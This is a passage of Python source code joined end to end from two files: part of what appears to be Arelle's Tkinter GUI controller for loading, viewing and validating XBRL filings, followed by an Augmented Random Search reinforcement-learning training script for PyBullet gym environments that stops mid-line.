ModelDocument.Type.INLINEXBRL, ModelDocument.Type.INLINEXBRLDOCUMENTSET): currentAction = "table view of facts" if (not modelXbrl.hasTableRendering and # table view only if not grid rendered view modelXbrl.relationshipSet(XbrlConst.parentChild)): # requires presentation relationships to render this tab ViewWinFactTable.viewFacts(modelXbrl, self.tabWinTopRt, linkrole=firstTableLinkroleURI, lang=self.labelLang, expandAll=firstTableLinkroleURI is not None) if topView is None: topView = modelXbrl.views[-1] currentAction = "tree/list of facts" ViewWinFactList.viewFacts(modelXbrl, self.tabWinTopRt, lang=self.labelLang) if topView is None: topView = modelXbrl.views[-1] currentAction = "presentation linkbase view" hasView = ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopRt, XbrlConst.parentChild, lang=self.labelLang) if hasView and topView is None: topView = modelXbrl.views[-1] currentAction = "calculation linkbase view" hasView = ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopRt, XbrlConst.summationItem, lang=self.labelLang) if hasView and topView is None: topView = modelXbrl.views[-1] currentAction = "dimensions relationships view" hasView = ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopRt, "XBRL-dimensions", lang=self.labelLang) if hasView and topView is None: topView = modelXbrl.views[-1] currentAction = "anchoring relationships view" hasView = ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopRt, XbrlConst.widerNarrower, lang=self.labelLang, noRelationshipsMsg=False, treeColHdr="Wider-Narrower Relationships") if hasView and topView is None: topView = modelXbrl.views[-1] if modelXbrl.hasTableRendering: currentAction = "rendering view" hasView = ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopRt, "Table-rendering", lang=self.labelLang) if hasView and topView is None: topView = modelXbrl.views[-1] if modelXbrl.hasFormulae: currentAction = "formulae view" ViewWinFormulae.viewFormulae(modelXbrl, self.tabWinTopRt) if topView is None: topView = modelXbrl.views[-1] for name, arcroles in sorted(self.config.get("arcroleGroups", {}).items()): if XbrlConst.arcroleGroupDetect in arcroles: currentAction = name + " view" hasView = ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopRt, (name, arcroles), lang=self.labelLang) if hasView and topView is None: topView = modelXbrl.views[-1] currentAction = "property grid" ViewWinProperties.viewProperties(modelXbrl, self.tabWinTopLeft) currentAction = "log view creation time" viewTime = time.time() - startedAt modelXbrl.profileStat("view", viewTime) self.addToLog(format_string(self.modelManager.locale, _("views %.2f secs"), viewTime)) if selectTopView and topView: topView.select() self.currentView = topView currentAction = "plugin method CntlrWinMain.Xbrl.Loaded" for xbrlLoadedMethod in pluginClassMethods("CntlrWinMain.Xbrl.Loaded"): xbrlLoadedMethod(self, modelXbrl, attach) # runs in GUI thread except Exception as err: msg = _("Exception preparing {0}: {1}, at {2}").format( currentAction, err, traceback.format_tb(sys.exc_info()[2])) tkinter.messagebox.showwarning(_("Exception preparing view"),msg, parent=self.parent) self.addToLog(msg); self.showStatus(_("Ready..."), 2000) def showFormulaOutputInstance(self, priorOutputInstance, currentOutputInstance): currentAction = "closing prior formula output instance" try: if priorOutputInstance: # if has UI must close on UI thread, not background thread priorOutputInstance.close() currentAction = "showing resulting formula output instance" if currentOutputInstance: ViewWinXml.viewXml(currentOutputInstance, self.tabWinBtm, "Formula Output Instance", currentOutputInstance.modelDocument.xmlDocument) except Exception as err: msg = _("Exception {0}: {1}, at {2}").format( currentAction, err, traceback.format_tb(sys.exc_info()[2])) tkinter.messagebox.showwarning(_("Exception preparing view"),msg, parent=self.parent) self.addToLog(msg); self.showStatus(_("Ready..."), 2000) def showProfileStats(self): modelXbrl = self.modelManager.modelXbrl if modelXbrl and self.modelManager.collectProfileStats: modelXbrl.logProfileStats() def clearProfileStats(self): modelXbrl = self.modelManager.modelXbrl if modelXbrl and self.modelManager.collectProfileStats: modelXbrl.profileStats.clear() def fileClose(self, *ignore): if not self.okayToContinue(): return self.modelManager.close() self.parent.title(_("arelle - Unnamed")) self.setValidateTooltipText() self.currentView = None def fileReopen(self, *ignore): self.fileClose() fileHistory = self.config.setdefault("fileHistory", []) if len(fileHistory) > 0: self.fileOpenFile(fileHistory[0]) def validate(self): modelXbrl = self.modelManager.modelXbrl if modelXbrl and modelXbrl.modelDocument: if (modelXbrl.modelManager.validateDisclosureSystem and not modelXbrl.modelManager.disclosureSystem.selection): tkinter.messagebox.showwarning(_("arelle - Warning"), _("Validation - disclosure system checks is requested but no disclosure system is selected, please select one by validation - select disclosure system."), parent=self.parent) else: if modelXbrl.modelDocument.type in ModelDocument.Type.TESTCASETYPES: for pluginXbrlMethod in pluginClassMethods("Testcases.Start"): pluginXbrlMethod(self, None, modelXbrl) thread = threading.Thread(target=self.backgroundValidate, daemon=True).start() def backgroundValidate(self): startedAt = time.time() modelXbrl = self.modelManager.modelXbrl priorOutputInstance = modelXbrl.formulaOutputInstance modelXbrl.formulaOutputInstance = None # prevent closing on background thread by validateFormula self.modelManager.validate() self.addToLog(format_string(self.modelManager.locale, _("validated in %.2f secs"), time.time() - startedAt)) if not modelXbrl.isClosed and (priorOutputInstance or modelXbrl.formulaOutputInstance): self.uiThreadQueue.put((self.showFormulaOutputInstance, [priorOutputInstance, modelXbrl.formulaOutputInstance])) self.uiThreadQueue.put((self.logSelect, [])) def compareDTSes(self): countLoadedDTSes = len(self.modelManager.loadedModelXbrls) if countLoadedDTSes != 2: tkinter.messagebox.showwarning(_("arelle - Warning"), _("Two DTSes are required for the Compare DTSes operation, {0} found").format(countLoadedDTSes), parent=self.parent) return False versReportFile = self.uiFileDialog("save", title=_("arelle - Save Versioning Report File"), initialdir=self.config.setdefault("versioningReportDir","."), filetypes=[(_("Versioning report file"), "*.xml")], defaultextension=".xml") if not versReportFile: return False self.config["versioningReportDir"] = os.path.dirname(versReportFile) self.saveConfig() thread = threading.Thread(target=self.backgroundCompareDTSes, args=(versReportFile,), daemon=True).start() def backgroundCompareDTSes(self, versReportFile): startedAt = time.time() modelVersReport = self.modelManager.compareDTSes(versReportFile) if modelVersReport and modelVersReport.modelDocument: self.addToLog(format_string(self.modelManager.locale, _("compared in %.2f secs"), time.time() - startedAt)) self.uiThreadQueue.put((self.showComparedDTSes, [modelVersReport])) def showComparedDTSes(self, modelVersReport): # close prior DTS displays modelVersReport.modelDocument.fromDTS.closeViews() modelVersReport.modelDocument.toDTS.closeViews() self.showLoadedXbrl(modelVersReport, True) def loadFile(self, filename): self.filename = filename self.listBox.delete(0, END) self.dirty = False try: with open(self.filename, "rb") as fh: self.data = pickle.load(fh) for name in sorted(self.data, key=str.lower): self.listBox.insert(END, name) self.showStatus(_("Loaded {0} items from {1}").format( self.listbox.size(), self.filename), clearAfter=5000) self.parent.title(_("arelle - {0}").format( os.path.basename(self.filename))) except (EnvironmentError, pickle.PickleError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to load {0}\n{1}").format( self.filename, err), parent=self.parent) def quit(self, event=None, restartAfterQuit=False): if self.okayToContinue(): self.modelManager.close() logging.shutdown() global restartMain restartMain = restartAfterQuit state = self.parent.state() if state == "normal": self.config["windowGeometry"] = self.parent.geometry() if state in ("normal", "zoomed"): self.config["windowState"] = state if self.isMSW: adjustW = 4; adjustH = 6 # tweak to prevent splitter regions from growing on reloading elif self.isMac: adjustW = 54; adjustH = 39 else: adjustW = 2; adjustH = 2 # linux (tested on ubuntu) self.config["tabWinTopLeftSize"] = (self.tabWinTopLeft.winfo_width() - adjustW, self.tabWinTopLeft.winfo_height() - adjustH) super(CntlrWinMain, self).close(saveConfig=True) self.parent.unbind_all(()) self.parent.destroy() if self.logFile: self.logFile.close() self.logFile = None def restart(self, event=None): self.quit(event, restartAfterQuit=True) def setWorkOffline(self, *args): self.webCache.workOffline = self.workOffline.get() self.config["workOffline"] = self.webCache.workOffline self.saveConfig() def setNoCertificateCheck(self, *args): self.webCache.noCertificateCheck = self.noCertificateCheck.get() # resets proxy handlers self.config["noCertificateCheck"] = self.webCache.noCertificateCheck self.saveConfig() def confirmClearWebCache(self): if tkinter.messagebox.askyesno( _("arelle - Clear Internet Cache"), _("Are you sure you want to clear the internet cache?"), parent=self.parent): def backgroundClearCache(): self.showStatus(_("Clearing internet cache")) self.webCache.clear() self.showStatus(_("Internet cache cleared"), 5000) thread = threading.Thread(target=backgroundClearCache, daemon=True).start() def manageWebCache(self): if sys.platform.startswith("win"): command = 'explorer' elif sys.platform in ("darwin", "macos"): command = 'open' else: # linux/unix command = 'xdg-open' try: subprocess.Popen([command,self.webCache.cacheDir]) except: pass def setupProxy(self): from arelle.DialogUserPassword import askProxy proxySettings = askProxy(self.parent, self.config.get("proxySettings")) if proxySettings: self.webCache.resetProxies(proxySettings) self.config["proxySettings"] = proxySettings self.saveConfig() def setupUserAgent(self): httpUserAgent = tkinter.simpledialog.askstring( _("HTTP header User-Agent value"), _("Specify non-standard value or cancel to use standard User Agent"), initialvalue=self.config.get("httpUserAgent"), parent=self.parent) self.webCache.httpUserAgent = httpUserAgent if not httpUserAgent: self.config.pop("httpUserAgent",None) else: self.config["httpUserAgent"] = httpUserAgent self.saveConfig() def setValidateDisclosureSystem(self, *args): self.modelManager.validateDisclosureSystem = self.validateDisclosureSystem.get() self.config["validateDisclosureSystem"] = self.modelManager.validateDisclosureSystem self.saveConfig() if self.modelManager.validateDisclosureSystem: if not self.modelManager.disclosureSystem or not self.modelManager.disclosureSystem.selection: self.selectDisclosureSystem() self.setValidateTooltipText() def selectDisclosureSystem(self, *args): from arelle import DialogOpenArchive self.config["disclosureSystem"] = DialogOpenArchive.selectDisclosureSystem(self, self.modelManager.disclosureSystem) self.saveConfig() self.setValidateTooltipText() def formulaParametersDialog(self, *args): DialogFormulaParameters.getParameters(self) self.setValidateTooltipText() def rssWatchOptionsDialog(self, *args): from arelle import DialogRssWatch DialogRssWatch.getOptions(self) # find or open rssWatch view def rssWatchControl(self, start=False, stop=False, close=False): from arelle.ModelDocument import Type from arelle import WatchRss if not self.modelManager.rssWatchOptions.get("feedSourceUri"): tkinter.messagebox.showwarning(_("RSS Watch Control Error"), _("RSS Feed is not set up, please select options and select feed"), parent=self.parent) return False rssModelXbrl = None for loadedModelXbrl in self.modelManager.loadedModelXbrls: if (loadedModelXbrl.modelDocument.type == Type.RSSFEED and loadedModelXbrl.modelDocument.uri == self.modelManager.rssWatchOptions.get("feedSourceUri")): rssModelXbrl = loadedModelXbrl break #not loaded if start: if not rssModelXbrl: rssModelXbrl = self.modelManager.create(Type.RSSFEED, self.modelManager.rssWatchOptions.get("feedSourceUri")) self.showLoadedXbrl(rssModelXbrl, False) if not hasattr(rssModelXbrl,"watchRss"): WatchRss.initializeWatcher(rssModelXbrl) rssModelXbrl.watchRss.start() elif stop: if rssModelXbrl and rssModelXbrl.watchRss: rssModelXbrl.watchRss.stop() # for ui thread option updating def rssWatchUpdateOption(self, latestPubDate=None): self.uiThreadQueue.put((self.uiRssWatchUpdateOption, [latestPubDate])) # ui thread addToLog def uiRssWatchUpdateOption(self, latestPubDate): if latestPubDate: self.modelManager.rssWatchOptions["latestPubDate"] = latestPubDate self.config["rssWatchOptions"] = self.modelManager.rssWatchOptions self.saveConfig() def languagesDialog(self, *args): override = self.lang if self.lang != self.modelManager.defaultLang else "" import tkinter.simpledialog newValue = tkinter.simpledialog.askstring(_("arelle - Labels language code setting"), _("The system default language is: {0} \n\n" "You may override with a different language for labels display. \n\n" "Current language override code: {1} \n" "(Leave empty to use the system default language.)").format( self.modelManager.defaultLang, override), parent=self.parent) if newValue is not None: self.config["labelLangOverride"] = newValue if newValue: self.lang = newValue else: self.lang = self.modelManager.defaultLang if self.modelManager.modelXbrl and self.modelManager.modelXbrl.modelDocument: self.showLoadedXbrl(self.modelManager.modelXbrl, True) # reload views self.saveConfig() def setValidateTooltipText(self): if self.modelManager.modelXbrl and not self.modelManager.modelXbrl.isClosed and self.modelManager.modelXbrl.modelDocument is not None: valType = self.modelManager.modelXbrl.modelDocument.type if valType in (ModelDocument.Type.SCHEMA, ModelDocument.Type.LINKBASE): valName = "DTS" else: valName = ModelDocument.Type.typeName[valType] if valType == ModelDocument.Type.VERSIONINGREPORT: v = _("Validate versioning report") else: if self.modelManager.validateCalcLB: if self.modelManager.validateInferDecimals: c = _("\nCheck calculations (infer decimals)") else: c = _("\nCheck calculations (infer precision)") if self.modelManager.validateDedupCalcs: c += _("\nDeduplicate calculations") else: c = "" if self.modelManager.validateUtr: u = _("\nCheck unit type registry") else: u = "" if self.modelManager.validateDisclosureSystem: v = _("Validate {0}\nCheck disclosure system rules\n{1}{2}{3}").format( valName, self.modelManager.disclosureSystem.selection,c,u) else: v = _("Validate {0}{1}{2}").format(valName, c, u) else: v = _("Validate") self.validateTooltipText.set(v) def setValidateCalcLB(self, *args): self.modelManager.validateCalcLB = self.validateCalcLB.get() self.config["validateCalcLB"] = self.modelManager.validateCalcLB self.saveConfig() self.setValidateTooltipText() def setValidateInferDecimals(self, *args): self.modelManager.validateInferDecimals = self.validateInferDecimals.get() self.config["validateInferDecimals"] = self.modelManager.validateInferDecimals self.saveConfig() self.setValidateTooltipText() def setValidateDedupCalcs(self, *args): self.modelManager.validateDedupCalcs = self.validateDedupCalcs.get() self.config["validateDedupCalcs"] = self.modelManager.validateDedupCalcs self.saveConfig() self.setValidateTooltipText() def setValidateUtr(self, *args): self.modelManager.validateUtr = self.validateUtr.get() self.config["validateUtr"] = self.modelManager.validateUtr self.saveConfig() self.setValidateTooltipText() def setCollectProfileStats(self, *args): self.modelManager.collectProfileStats = self.collectProfileStats.get() self.config["collectProfileStats"] = self.modelManager.collectProfileStats self.saveConfig() def setShowDebugMessages(self, *args): self.config["showDebugMessages"] = self.showDebugMessages.get() self.saveConfig() def find(self, *args): from arelle.DialogFind import find find(self) def helpAbout(self, event=None): from arelle import DialogAbout, Version from lxml import etree DialogAbout.about(self.parent, _("About arelle"), os.path.join(self.imagesDir, "arelle32.gif"), _("arelle\u00ae {0} ({1}bit {7})\n" "An open source XBRL platform\n" "\u00a9 2010-{2} Mark V Systems Limited\n" "All rights reserved\nhttp://www.arelle.org\nsupport@arelle.org\n\n" "Licensed under the Apache License, Version 2.0 (the \"License\"); " "you may not use this file except in compliance with the License. " "You may obtain a copy of the License at\n\n" "http://www.apache.org/licenses/LICENSE-2.0\n\n" "Unless required by applicable law or agreed to in writing, software " "distributed under the License is distributed on an \"AS IS\" BASIS, " "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. " "See the License for the specific language governing permissions and " "limitations under the License." "\n\nIncludes:" "\n Python\u00ae {4[0]}.{4[1]}.{4[2]} \u00a9 2001-2016 Python Software Foundation" "\n Tcl/Tk {6} \u00a9 Univ. of Calif., Sun, Scriptics, ActiveState, and others" "\n PyParsing \u00a9 2003-2013 Paul T. McGuire" "\n lxml {5[0]}.{5[1]}.{5[2]} \u00a9 2004 Infrae, ElementTree \u00a9 1999-2004 by Fredrik Lundh" "{3}" "\n May include installable plug-in modules with author-specific license terms" ) .format(Version.__version__, self.systemWordSize, Version.copyrightLatestYear, _("\n Bottle \u00a9 2011-2013 Marcel Hellkamp" "\n CherryPy \u00a9 2002-2013 CherryPy Team") if self.hasWebServer else "", sys.version_info, etree.LXML_VERSION, Tcl().eval('info patchlevel'), platform.machine() )) # worker threads addToLog def addToLog(self, message, messageCode="", messageArgs=None, file="", refs=[], level=logging.INFO): if level < logging.INFO and not self.showDebugMessages.get(): return # skip DEBUG and INFO-RESULT messages if messageCode and messageCode not in message: # prepend message code message = "[{}] {}".format(messageCode, message) if refs: message += " - " + Cntlr.logRefsFileLines(refs) elif file: if isinstance(file, (tuple,list,set)): message += " - " + ", ".join(file) elif isinstance(file, _STR_BASE): message += " - " + file if isinstance(messageArgs, dict): try: message = message % messageArgs except (KeyError, TypeError, ValueError) as ex: message += " \nMessage log error: " + str(ex) + " \nMessage arguments: " + str(messageArgs) self.uiThreadQueue.put((self.uiAddToLog, [message])) # ui thread addToLog def uiAddToLog(self, message): try: self.logView.append(message) except: pass def logClear(self, *ignore): self.logView.clear() def logSelect(self, *ignore): self.logView.select() def logSaveToFile(self, *ignore): filename = self.uiFileDialog("save", title=_("arelle - Save Messages Log"), initialdir=".", filetypes=[(_("Txt file"), "*.txt")], defaultextension=".txt") if not filename: return False try: self.logView.saveToFile(filename) except (IOError, EnvironmentError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to save {0}:\n{1}").format( filename, err), parent=self.parent) return True; # worker threads viewModelObject def viewModelObject(self, modelXbrl, objectId): self.waitForUiThreadQueue() # force prior ui view updates if any self.uiThreadQueue.put((self.uiViewModelObject, [modelXbrl, objectId])) # ui thread viewModelObject def uiViewModelObject(self, modelXbrl, objectId): modelXbrl.viewModelObject(objectId) # worker threads viewModelObject def reloadViews(self, modelXbrl): self.uiThreadQueue.put((self.uiReloadViews, [modelXbrl])) # ui thread viewModelObject def uiReloadViews(self, modelXbrl): for view in modelXbrl.views: view.view() # worker threads showStatus def showStatus(self, message, clearAfter=None): self.uiThreadQueue.put((self.uiShowStatus, [message, clearAfter])) # ui thread showStatus def uiClearStatusTimerEvent(self): if self.statusbarTimerId: # if timer still wanted, clear status self.statusbar["text"] = "" self.statusbarTimerId = None def uiShowStatus(self, message, clearAfter=None): if self.statusbarTimerId: # ignore timer self.statusbarTimerId = None self.statusbar["text"] = message if clearAfter is not None and clearAfter > 0: self.statusbarTimerId = self.statusbar.after(clearAfter, self.uiClearStatusTimerEvent) # web authentication password request def internet_user_password(self, host, realm): from arelle.DialogUserPassword import askUserPassword untilDone = threading.Event() result = [] self.uiThreadQueue.put((askUserPassword, [self.parent, host, realm, untilDone, result])) untilDone.wait() return result[0] # web file login requested def internet_logon(self, url, quotedUrl, dialogCaption, dialogText): from arelle.DialogUserPassword import askInternetLogon untilDone = threading.Event() result = [] self.uiThreadQueue.put((askInternetLogon, [self.parent, url, quotedUrl, dialogCaption, dialogText, untilDone, result])) untilDone.wait() return result[0] def waitForUiThreadQueue(self): for i in range(40): # max 2 secs if self.uiThreadQueue.empty(): break time.sleep(0.05) def uiThreadChecker(self, widget, delayMsecs=100): # 10x per second # process callback on main (UI) thread while not self.uiThreadQueue.empty(): try: (callback, args) = self.uiThreadQueue.get(block=False) except queue.Empty: pass else: callback(*args) widget.after(delayMsecs, lambda: self.uiThreadChecker(widget)) def uiFileDialog(self, action, title=None, initialdir=None, filetypes=[], defaultextension=None, owner=None, multiple=False, parent=None): if parent is None: parent = self.parent if multiple and action == "open": # return as simple list of file names multFileNames = tkinter.filedialog.askopenfilename( multiple=True, title=title, initialdir=initialdir, filetypes=[] if self.isMac else filetypes, defaultextension=defaultextension, parent=parent) if isinstance(multFileNames, (tuple,list)): return multFileNames return re.findall("[{]([^}]+)[}]", # older multiple returns "{file1} {file2}..." multFileNames) elif self.hasWin32gui: import win32gui try: filename, filter, flags = {"open":win32gui.GetOpenFileNameW, "save":win32gui.GetSaveFileNameW}[action]( hwndOwner=(owner if owner else parent).winfo_id(), hInstance=win32gui.GetModuleHandle(None), Filter='\0'.join(e for t in filetypes+['\0'] for e in t), MaxFile=4096, InitialDir=initialdir, Title=title, DefExt=defaultextension) return filename except win32gui.error: return '' else: return {"open":tkinter.filedialog.askopenfilename, "save":tkinter.filedialog.asksaveasfilename}[action]( title=title, initialdir=initialdir, filetypes=[] if self.isMac else filetypes, defaultextension=defaultextension, parent=parent) from arelle import DialogFormulaParameters class WinMainLogHandler(logging.Handler): def __init__(self, cntlr): super(WinMainLogHandler, self).__init__() self.cntlr = cntlr #formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s - %(file)s %(sourceLine)s") formatter = Cntlr.LogFormatter("[%(messageCode)s] %(message)s - %(file)s") self.setFormatter(formatter) self.logRecordBuffer = None def startLogBuffering(self): if self.logRecordBuffer is None: self.logRecordBuffer = [] def endLogBuffering(self): self.logRecordBuffer = None def flush(self): ''' Nothing to flush ''' def emit(self, logRecord): if self.logRecordBuffer is not None: self.logRecordBuffer.append(logRecord) # add to logView msg = self.format(logRecord) try: self.cntlr.addToLog(msg, level=logRecord.levelno) except: pass class TkinterCallWrapper: """Replacement for internal tkinter class. Stores function to call when some user defined Tcl function is called e.g. after an event occurred.""" def __init__(self, func, subst, widget): """Store FUNC, SUBST and WIDGET as members.""" self.func = func self.subst = subst self.widget = widget def __call__(self, *args): """Apply first function SUBST to arguments, than FUNC.""" try: if self.subst: args = self.subst(*args) return self.func(*args) except SystemExit as msg: raise SystemExit(msg) except Exception: # this was tkinter's standard coding: self.widget._report_exception() exc_type, exc_value, exc_traceback = sys.exc_info() msg = ''.join(traceback.format_exception_only(exc_type, exc_value)) tracebk = ''.join(traceback.format_tb(exc_traceback, limit=30)) tkinter.messagebox.showerror(_("Exception"), _("{0}\nCall trace\n{1}").format(msg, tracebk)) def main(): # this is the entry called by arelleGUI.pyw for windows if getattr(sys, 'frozen', False): if sys.platform in ("darwin", "linux"): # Use frozen tcl, tk and TkTable libraries _resourcesDir = os.path.join(Cntlr.resourcesDir(), "lib") for _tcltk in ("tcl", "tk", "Tktable"): for _tcltkVer in ("8.5", "8.6", "2.11"): # Tktable ver is 2.11 _d = _resourcesDir while len(_d) > 3: # stop at root directory _tcltkDir = os.path.join(_d, _tcltk + _tcltkVer) if os.path.exists(_tcltkDir): os.environ[_tcltk.upper() + "_LIBRARY"] = _tcltkDir break _d = os.path.dirname(_d) elif sys.platform == 'win32': # windows requires fake stdout/stderr because no write/flush (e.g., EdgarRenderer LocalViewer pybottle) class dummyFrozenStream: def __init__(self): pass def write(self,data): pass def read(self,data): pass def flush(self): pass def close(self): pass sys.stdout = dummyFrozenStream() sys.stderr = dummyFrozenStream() sys.stdin = dummyFrozenStream() global restartMain while restartMain: restartMain = False try: application = Tk() cntlrWinMain = CntlrWinMain(application) application.protocol("WM_DELETE_WINDOW", cntlrWinMain.quit) if sys.platform == "darwin" and not __file__.endswith(".app/Contents/MacOS/arelleGUI"): # not built app - launches behind python or eclipse application.lift() application.call('wm', 'attributes', '.', '-topmost', True) cntlrWinMain.uiThreadQueue.put((application.call, ['wm', 'attributes', '.', '-topmost', False])) os.system('''/usr/bin/osascript -e 'tell app "Finder" to set frontmost of process "Python" to true' ''') application.mainloop() except Exception: # unable to start Tk or other fatal error exc_type, exc_value, exc_traceback = sys.exc_info() msg = ''.join(traceback.format_exception_only(exc_type, exc_value)) tracebk = ''.join(traceback.format_tb(exc_traceback, limit=7)) logMsg = "{}\nCall Trace\n{}\nEnvironment {}".format(msg, tracebk, os.environ) #print(logMsg, file=sys.stderr) if syslog is not None: syslog.openlog("Arelle") syslog.syslog(syslog.LOG_ALERT, logMsg) try: # this may crash. Note syslog has 1k message length logMsg = "tcl_pkgPath {} tcl_library {} tcl version {}".format( Tcl().getvar("tcl_pkgPath"), Tcl().getvar("tcl_library"), Tcl().eval('info patchlevel')) if syslog is not None: syslog.syslog(syslog.LOG_ALERT, logMsg) #print(logMsg, file=sys.stderr) except: pass if syslog is not None: syslog.closelog() if __name__ == "__main__": # this is the entry called by MacOS open and MacOS shell scripts # check if ARELLE_ARGS are used to emulate command line operation if os.getenv("ARELLE_ARGS"): # command line mode from arelle import CntlrCmdLine CntlrCmdLine.main() else: # GUI mode main()
ars.py
# AI 2018 import os import inspect currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(os.path.dirname(currentdir)) os.sys.path.insert(0, parentdir) # Importing the libraries import os import numpy as np import gym from gym import wrappers import pybullet_envs import time import multiprocessing as mp from multiprocessing import Process, Pipe import argparse # Setting the Hyper Parameters class Hp(): def __init__(self): self.nb_steps = 10000 self.episode_length = 1000 self.learning_rate = 0.02 self.nb_directions = 16 self.nb_best_directions = 8 assert self.nb_best_directions <= self.nb_directions self.noise = 0.03 self.seed = 1 self.env_name = 'HalfCheetahBulletEnv-v0' # Multiprocess Exploring the policy on one specific direction and over one episode _RESET = 1 _CLOSE = 2 _EXPLORE = 3 def ExploreWorker(rank, childPipe, envname, args): env = gym.make(envname) nb_inputs = env.observation_space.shape[0] normalizer = Normalizer(nb_inputs) observation_n = env.reset() n = 0 while True: n += 1 try: # Only block for short times to have keyboard exceptions be raised. if not childPipe.poll(0.001): continue message, payload = childPipe.recv() except (EOFError, KeyboardInterrupt): break if message == _RESET: observation_n = env.reset() childPipe.send(["reset ok"]) continue if message == _EXPLORE: #normalizer = payload[0] #use our local normalizer policy = payload[1] hp = payload[2] direction = payload[3] delta = payload[4] state = env.reset() done = False num_plays = 0. sum_rewards = 0 while not done and num_plays < hp.episode_length: normalizer.observe(state) state = normalizer.normalize(state) action = policy.evaluate(state, delta, direction, hp) state, reward, done, _ = env.step(action) reward = max(min(reward, 1), -1) sum_rewards += reward num_plays += 1 childPipe.send([sum_rewards]) continue if message == _CLOSE: childPipe.send(["close ok"]) break childPipe.close() # Normalizing the states class Normalizer(): def __init__(self, nb_inputs): self.n = np.zeros(nb_inputs) self.mean = np.zeros(nb_inputs) self.mean_diff = np.zeros(nb_inputs) self.var = np.zeros(nb_inputs) def observe(self, x): self.n += 1. last_mean = self.mean.copy() self.mean += (x - self.mean) / self.n self.mean_diff += (x - last_mean) * (x - self.mean) self.var = (self.mean_diff / self.n).clip(min=1e-2) def normalize(self, inputs): obs_mean = self.mean obs_std = np.sqrt(self.var) return (inputs - obs_mean) / obs_std # Building the AI class Policy(): def __init__(self, input_size, output_size, env_name, args): try: self.theta = np.load(args.policy) except: self.theta = np.zeros((output_size, input_size)) self.env_name = env_name print("Starting policy theta=", self.theta) def evaluate(self, input, delta, direction, hp): if direction is None: return np.clip(self.theta.dot(input), -1.0, 1.0) elif direction == "positive": return np.clip((self.theta + hp.noise * delta).dot(input), -1.0, 1.0) else: return np.clip((self.theta - hp.noise * delta).dot(input), -1.0, 1.0) def sample_deltas(self): return [np.random.randn(*self.theta.shape) for _ in range(hp.nb_directions)] def update(self, rollouts, sigma_r, args): step = np.zeros(self.theta.shape) for r_pos, r_neg, d in rollouts: step += (r_pos - r_neg) * d self.theta += hp.learning_rate / (hp.nb_best_directions * sigma_r) * step timestr = time.strftime("%Y%m%d-%H%M%S") np.save(args.logdir + "/policy_" + self.env_name + "_" + timestr + ".npy", self.theta) # Exploring the policy on one specific direction and over one episode def explore(env, normalizer, policy, direction, delta, hp): state = env.reset() done = False num_plays = 0. sum_rewards = 0 while not done and num_plays < hp.episode_length: normalizer.observe(state) state = normalizer.normalize(state) action = policy.evaluate(state, delta, direction, hp) state, reward, done, _ = env.step(action) reward = max(min(reward, 1), -1) sum_rewards += reward num_plays += 1 return sum_rewards # Training the AI def train(env, policy, normalizer, hp, parentPipes, args): for step in range(hp.nb_steps): # Initializing the perturbations deltas and the positive/negative rewards deltas = policy.sample_deltas() positive_rewards = [0] * hp.nb_directions negative_rewards = [0] * hp.nb_directions if parentPipes: for k in range(hp.nb_directions): parentPipe = parentPipes[k] parentPipe.send([_EXPLORE, [normalizer, policy, hp, "positive", deltas[k]]]) for k in range(hp.nb_directions): positive_rewards[k] = parentPipes[k].recv()[0] for k in range(hp.nb_directions): parentPipe = parentPipes[k] parentPipe.send([_EXPLORE, [normalizer, policy, hp, "negative", deltas[k]]]) for k in range(hp.nb_directions): negative_rewards[k] = parentPipes[k].recv()[0] else: # Getting the positive rewards in the positive directions for k in range(hp.nb_directions): positive_rewards[k] = explore(env, normalizer, policy, "positive", deltas[k], hp) # Getting the negative rewards in the negative/opposite directions for k in range(hp.nb_directions): negative_rewards[k] = explore(env, normalizer, policy, "negative", deltas[k], hp) # Gathering all the positive/negative rewards to compute the standard deviation of these rewards all_rewards = np.array(positive_rewards + negative_rewards) sigma_r = all_rewards.std() # Sorting the rollouts by the max(r_pos, r_neg) and selecting the best directions scores = { k: max(r_pos, r_neg) for k, (r_pos, r_neg) in enumerate(zip(positive_rewards, negative_rewards)) } order = sorted(scores.keys(), key=lambda x: -scores[x])[:hp.nb_best_directions] rollouts = [(positive_rewards[k], negative_rewards[k], deltas[k]) for k in order] # Updating our policy policy.update(rollouts, sigma_r, args) # Printing the final reward of the policy after the update reward_evaluation = explore(env, normalizer, policy, None, None, hp) print('Step:', step, 'Reward:', reward_evaluation) # Running the main code def mkdir(base, name): path = os.path.join(base, name) if not os.path.exists(path): os.makedirs(path) return path if __name__ == "__main__": mp.freeze_support() parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument( '--env', help='Gym environment name', type=str, default='HalfCheetahBulletEnv-v0') parser.add_argument('--seed', help='RNG seed', type=int, default=1) parser.add_argument('--render', help='OpenGL Visualizer', type=int, default=0) parser.add_argument('--movie', help='rgb_array gym movie', type=int, default=0) parser.add_argument('--steps', help='Number of steps', type=int, default=10000) parser.add_argument('--policy', help='Starting policy file (npy)', type=str, default='') parser.add_argument( '--logdir', help='Directory root to log policy files (npy)', type=str, default='.') parser.add_argument('--mp', help='Enable multiprocessing', type=int, default=1) args = parser.parse_args() hp = Hp() hp.env_name = args.env hp.seed = args.seed hp.nb_steps = args.steps print("seed = ", hp.seed) np.random.seed(hp.seed) parentPipes = None if args.mp: num_processes = hp.nb_directions processes = [] childPipes = [] parentPipes = [] for pr in range(num_processes): parentPipe, childPipe = Pipe() parentPipes.append(parentPipe) childPipes.append(childPipe) for rank in range(num_processes): p = mp.Process(target=ExploreWorker, args=(rank, childPipes[rank], hp.env_name, args)) p.start() processes.append(p) work_dir = mkdir('exp', 'brs') monitor_dir = mkdir(work_dir, 'monitor') env = gym.make(hp.env_name) if args.render: env.render(mode="human") if args.movie: env = wrappers.Monitor(env, monitor_dir, force=True) nb_inputs = env.observation_space.shape[0] nb_outputs = env.action_space.shape[0] policy = 